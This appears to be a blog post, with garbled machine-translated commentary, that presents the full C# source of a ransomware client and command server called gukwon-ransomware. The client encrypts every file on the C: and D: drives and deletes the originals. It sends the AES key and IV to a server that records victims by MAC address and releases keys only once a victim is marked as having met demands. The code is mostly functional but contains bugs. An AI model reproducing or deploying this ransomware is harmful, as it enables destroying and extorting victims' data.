[国稿計画]ローカルエリアネットワークソフトウェア完全コード



GitHub: https://github.com/benkerry/gukwon-ransomware

# Utils.cs

namespace Utils
{
    public struct KeySet
    {
        public byte[] Key;
        public byte[] IV;
    }

    public static class ArrayAppender
    {
        public static void Append<T>(ref T[] a, T[] b)
        {
            T[] result = new T[a.Length + b.Length];

            for(int i = 0; i < a.Length; i++)
            {
                result[i] = a[i];
            }
            for(int i = a.Length; i < a.Length + b.Length; i++)
            {
                result[i] = b[i - a.Length];
            }

            a = result;
        }

        public static void Append<T>(ref T[] a, T b)
        {
            T[] result = new T[a.Length + 1];

            for(int i = 0; i < a.Length; i++)
            {
                result[i] = a[i];
            }

            result[a.Length] = b;
            a = result;
        }
    }

    public static class CONSTANTS
    {
        public static int FAIL = 0x00;
        public static int SUCCESS = 0x01;
        public static int SEND_KEY = 0x02;
        public static int DECRYPT_REQ = 0x03;
    }
}
ArrayAppender Static Classは、2つのアレイ
  • を統合したり、アレイにデータを追加したりすることができます.
  • ArrayAppender.Appendメソッドはオーバーロードする方法があります.2つの配列T[]a,T[]bをパラメータとし,1つの配列と1つのデータT[]a,Tbをパラメータとした.
  • CONTS Static Classは、サーバとクライアント間の通信に必要な定数を宣言します.
  • gukwon-transmeware-clientとgukwon-ransomware-serverが共同で使用するライブラリプロジェクト.
  • # (Client) FilePathGetter.cs

    using System.IO;
    
    using Utils;
    
    namespace gukwon_ransomeware_client
    {
        public class FilePathGetter
        {
            private string[] allFilePathes;
    
            public FilePathGetter()
            {
                allFilePathes = new string[0];
            }
    
            public string[] GetAllFilePathes(string[] dirPathes)
            {
                for (int i = 0; i < dirPathes.Length; i++)
                {
                    if(Directory.Exists(dirPathes[i]))
                        GetAllFilePathes(new DirectoryInfo(dirPathes[i]));
                }
    
                return allFilePathes;
            }
    
            private void GetAllFilePathes(DirectoryInfo dirInfo)
            {            
                FileInfo[] files = dirInfo.GetFiles();
                DirectoryInfo[] dirs = dirInfo.GetDirectories();
                string[] pathes = new string[files.Length];
    
                if (dirInfo.FullName.ToUpper().Contains("SYSTEM"))
                    return;
    
                for (int i = 0; i < files.Length; i++)
                {
                    pathes[i] = files[i].FullName;
                }
    
                ArrayAppender.Append(ref allFilePathes, pathes);
    
                for(int i = 0; i < dirs.Length; i++)
                {
                    GetAllFilePathes(dirs[i]);
                }
            }
        }
    }
    
  • は、クラスのインスタンス[インスタンス名]を作成します.GetAllFilePathesが実行されると、GetAllFilePathesパラメータに渡されるString配列のパスサブアイテムのすべてのファイルパスが解かれ、String配列に戻されます.再帰関数を用いて実現した.
  • # (Client) Encryptor.cs

    using System.IO;
    using System.Security.Cryptography;
    
    namespace gukwon_ransomeware_client
    {
        public class Encryptor
        {        
            private RijndaelManaged aes;
            public Utils.KeySet keySet;
    
            public Encryptor()
            {
                aes = new RijndaelManaged();
    
                aes.KeySize = 256;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
    
                aes.GenerateKey();
                aes.GenerateIV();
            }
    
            public Utils.KeySet EncryptFiles(string[] pathes)
            {
                int count;
                int blockSizeBytes = aes.BlockSize / 8;
                byte[] data = new byte[blockSizeBytes];
                Utils.KeySet keySet;
                FileStream inFs;
                FileStream outFs;
                CryptoStream cryptoStream;
                
                for (int i = 0; i < pathes.Length; i++)
                {
                    if (File.Exists(pathes[i]))
                    {
                        inFs = new FileStream(pathes[i], FileMode.Open);
                        outFs = new FileStream(pathes[i] + ".encrypted", FileMode.Create);
                        cryptoStream = new CryptoStream(outFs, aes.CreateEncryptor(), CryptoStreamMode.Write);
    
                        do
                        {
                            count = inFs.Read(data, 0, blockSizeBytes);
                            cryptoStream.Write(data, 0, count);
                        }
                        while (count > 0);
    
                        inFs.Close();
    
                        cryptoStream.FlushFinalBlock();
                        cryptoStream.Close();
    
                        outFs.Close();
    
                        File.Delete(pathes[i]);
                    }
                }
    
                keySet.Key = aes.Key;
                keySet.IV = aes.IV;
    
                return keySet;
            }
        }
    }
    
  • ファイルの暗号化を担当するクラスです.
  • 鍵とIVは自動的に生成され、暗号化ファイルメソッドは鍵セットにロードされ、返されます.
  • インスタンスを作成します.EncryptFilesメソッドを呼び出します.では、EncryptFilesパラメータである所与のファイルパス内のすべてのファイルは、任意のKey、IVを使用してAESを暗号化する.
  • .EncryptFilesメソッドは、byte[]Keyおよびbyte[]IVを含む構造体であるKeySetタイプのデータを返します.
  • # (Client) Decryptor.cs

    using System.IO;
    using System.Security.Cryptography;
    
    namespace gukwon_ransomeware_client
    {
        public class Decryptor
        {
            private RijndaelManaged aes;
    
            public Decryptor(byte[] Key, byte[] IV)
            {
                aes = new RijndaelManaged();
    
                aes.KeySize = 256;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
    
                aes.Key = Key;
                aes.IV = IV;
            }
    
            public void DecryptFiles(string[] pathes)
            {
                int count;
                int blockSizeBytes = aes.BlockSize / 8;
                byte[] data = new byte[blockSizeBytes];
                FileStream inFs;
                FileStream outFs;
                CryptoStream cryptoStream;
    
                for (int i = 0; i < pathes.Length; i++)
                {
                    if (File.Exists(pathes[i] + ".encrypted"))
                    {
                        inFs = new FileStream(pathes[i] + ".encrypted", FileMode.Open);
                        outFs = new FileStream(pathes[i], FileMode.Create);
                        cryptoStream = new CryptoStream(outFs, aes.CreateDecryptor(), CryptoStreamMode.Write);
    
                        do
                        {
                            count = inFs.Read(data, 0, blockSizeBytes);
                            cryptoStream.Write(data, 0, count);
                        }
                        while (count > 0);
    
                        inFs.Close();
    
                        cryptoStream.FlushFinalBlock();
                        cryptoStream.Close();
    
                        outFs.Close();
    
                        File.Delete(pathes[i] + ".encrypted");
                    }
                }
            }
        }
    }
    
  • は、ファイルの復号を担当するクラスです.
  • インスタンスを生成する場合、構造関数でbyte[]Keyおよびbyte[]IVをパラメータとして受け入れる.
  • .ファイルパス文字列配列をDecryptFilesに渡すと、その配列内のパス内のファイルは、作成者が受信したKeyおよびIVに復号されます.
  • # (Client) Program.cs

    using System;
    using System.IO;
    using System.Timers;
    using System.Net.Sockets;
    using System.Net.NetworkInformation;
    
    using Utils;
    
    namespace gukwon_ransomeware_client
    {
        class Program
        {
            static string[] pathes = new string[0];
    
            static void Elapsed(object src, ElapsedEventArgs e)
            {
                string base64_key = null, base64_iv = null;
                TcpClient client = new TcpClient("localhost", 4444);
                NetworkStream stream = client.GetStream();
                BinaryWriter wtr = new BinaryWriter(stream);
                BinaryReader rdr = new BinaryReader(stream);
                Decryptor decryptor;
    
                wtr.Write(CONSTANTS.DECRYPT_REQ);
                wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
                wtr.Close();
    
                switch (rdr.ReadInt32())
                {
                    case 0x00:
                        base64_key = rdr.ReadString();
                        base64_iv = rdr.ReadString();
                        break;
                    case 0x01:
                        rdr.Close();
                        wtr.Close();
                        stream.Close();
                        client.Close();
                        return;
                }
    
                decryptor = new Decryptor(Convert.FromBase64String(base64_key), Convert.FromBase64String(base64_iv));
                decryptor.DecryptFiles(pathes);
    
                rdr.Close();
                wtr.Close();
                stream.Close();
                client.Close();
            }
    
            static void Main()
            {
                Timer timer = new Timer(1000 * 60 * 5);
                Console.WriteLine("실행 중 종료시 파일들이 손상될 수 있습니다. . .");
    
                if (File.Exists("data.dat"))
                {
                    BinaryReader rdr = new BinaryReader(new FileStream("data.dat", FileMode.Open));
    
                    pathes = new string[rdr.ReadInt32()];
    
                    for (int i = 0; i < pathes.Length; i++)
                    {
                        pathes[i] = rdr.ReadString();
                    }
    
                    rdr.Close();
                }
                else
                {
                    KeySet keySet;
                    string macaddr, base64_key, base64_iv;
                    BinaryWriter wtr;
                    FilePathGetter pathGetter = new FilePathGetter();
                    Encryptor encryptor = new Encryptor();
                    TcpClient client;
                    NetworkStream stream;
    
                    if (Directory.Exists("C:\\"))
                    {
                        pathes = pathGetter.GetAllFilePathes(new string[1] { "C:\\" });
                    }
                    if (Directory.Exists("D:\\"))
                    {
                        ArrayAppender.Append(ref pathes, pathGetter.GetAllFilePathes(new string[1] { "D:\\" }));
                    }
    
                    keySet = encryptor.EncryptFiles(pathes);
    
                    wtr = new BinaryWriter(new FileStream("data.dat", FileMode.Create));
                    wtr.Write(pathes.Length);
    
                    for (int i = 0; i < pathes.Length; i++)
                    {
                        wtr.Write(pathes[i]);
                    }
    
                    wtr.Close();
    
                    macaddr = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
                    base64_key = Convert.ToBase64String(keySet.Key);
                    base64_iv = Convert.ToBase64String(keySet.IV);
    
                    client = new TcpClient("localhost", 4444);
                    stream = client.GetStream();
                    wtr = new BinaryWriter(stream);
    
                    wtr.Write(CONSTANTS.SEND_KEY);
                    wtr.Write(macaddr);
                    wtr.Write(base64_key);
                    wtr.Write(base64_iv);
    
                    wtr.Close();
    
                    stream.Close();
                    client.Close();
                }
                timer.Elapsed += Elapsed;
                timer.Start();
            }
        }
    }
    
  • が最初に実行されると、C:およびD:の下のすべてのファイルパスが取得されます.そしてそのデータをdatに保存します.
  • で取得したすべてのファイルパス情報を使用して、すべてのファイルをEncryptorクラスのインスタンスに暗号化します.
  • は、次いで、KeyおよびIVをBASE 64にエンコードしてサーバに送信する.
  • 5分ごとに、攻撃者が要求を満たしているかどうかをサーバに問い合わせる.このとき,応答の上位32ビット値が0であることは要求を満たしていないことを示し,1であることは要求を満たすことを示す.
  • 応答の最初の32ビット値が0の場合、関数が返され、1の場合、後続のBASE 64 Encode KeyおよびBASE 64 Encode IVが読み出される.
  • KeyおよびIVの読み込みに成功した場合、この情報を使用してすべてのファイルをDecryptorクラスのインスタンスとして復号します.
  • # (Server) Program.cs

    using System.IO;
    using System.Net;
    using System.Net.Sockets;
    
    using Utils;
    using MySql.Data.MySqlClient;
    
    namespace gukwon_ransomware_server
    {
        class Program
        {
            static void Main()
            {
                int mode;
                string macaddr, base64_key, base64_iv;
                TcpListener server = new TcpListener(IPAddress.Any, 4444);
                TcpClient client;
                NetworkStream netStream;
                BinaryReader rdr;
                BinaryWriter wtr;
                MySqlConnection conn;
                MySqlCommand cmd;
                MySqlDataReader sqlrdr;
    
                server.Start();
    
                while (true)
                {
                    client = server.AcceptTcpClient();
    
                    conn = new MySqlConnection("Server=localhost;Database=gukwon_ransomware;Uid=root;Pwd=test;");
                    conn.Open();
    
                    netStream = client.GetStream();
                    rdr = new BinaryReader(netStream);
    
                    mode = rdr.ReadInt32();
                    macaddr = rdr.ReadString();
    
                    if (mode == CONSTANTS.SEND_KEY)
                    {
                        base64_key = rdr.ReadString();
                        base64_iv = rdr.ReadString();
    
                        cmd = new MySqlCommand(string.Format("INSERT INTO victims(mac_addr, keystring, ivstring) VALUES(\"{0}\", \"{1}\", \"{2}\";", macaddr, base64_key, base64_iv));
                        cmd.ExecuteNonQuery();
    
                        conn.Close();
                        cmd.Dispose();
                        rdr.Close();
                        netStream.Close();
                        client.Close();
                    }
                    else
                    {
                        cmd = new MySqlCommand(string.Format("SELECT keystring, ivstring FROM victims WHERE macaddr=\"{0}\" AND satisfied = 1"));
                        sqlrdr = cmd.ExecuteReader();
    
                        if (sqlrdr.HasRows)
                        {
                            rdr.Close();
    
                            sqlrdr.Read();
                            wtr = new BinaryWriter(netStream);
                            wtr.Write(CONSTANTS.SUCCESS);
                            wtr.Write(sqlrdr["keystring"].ToString());
                            wtr.Write(sqlrdr["ivstring"].ToString());
    
                            wtr.Close();
                            conn.Close();
                            cmd.Dispose();
                            netStream.Close();
                            client.Close();
                        }
                        else
                        {
                            wtr = new BinaryWriter(netStream);
                            wtr.Write(CONSTANTS.FAIL);
    
                            wtr.Close();
                            conn.Close();
                            cmd.Dispose();
                            rdr.Close();
                            netStream.Close();
                            client.Close();
                        }
                    }
                }
            }
        }
    }
    
  • 感染者発生時には、自感染者のMACアドレス、BASE 64 Encode Key、BASE 64 Encode IVをMySQL DBに入れる.
  • の攻撃者の要求を満たすかどうかを確認するための通信が送信されると、MySQL DBに問い合わせて要求が満たされているかどうかを確認し、満たされていない場合は32ビット0を応答として送信する.要求が満たされると、32ビット1/BASE 64 Encode Key/BASE 64 Encode IVが応答として送信される.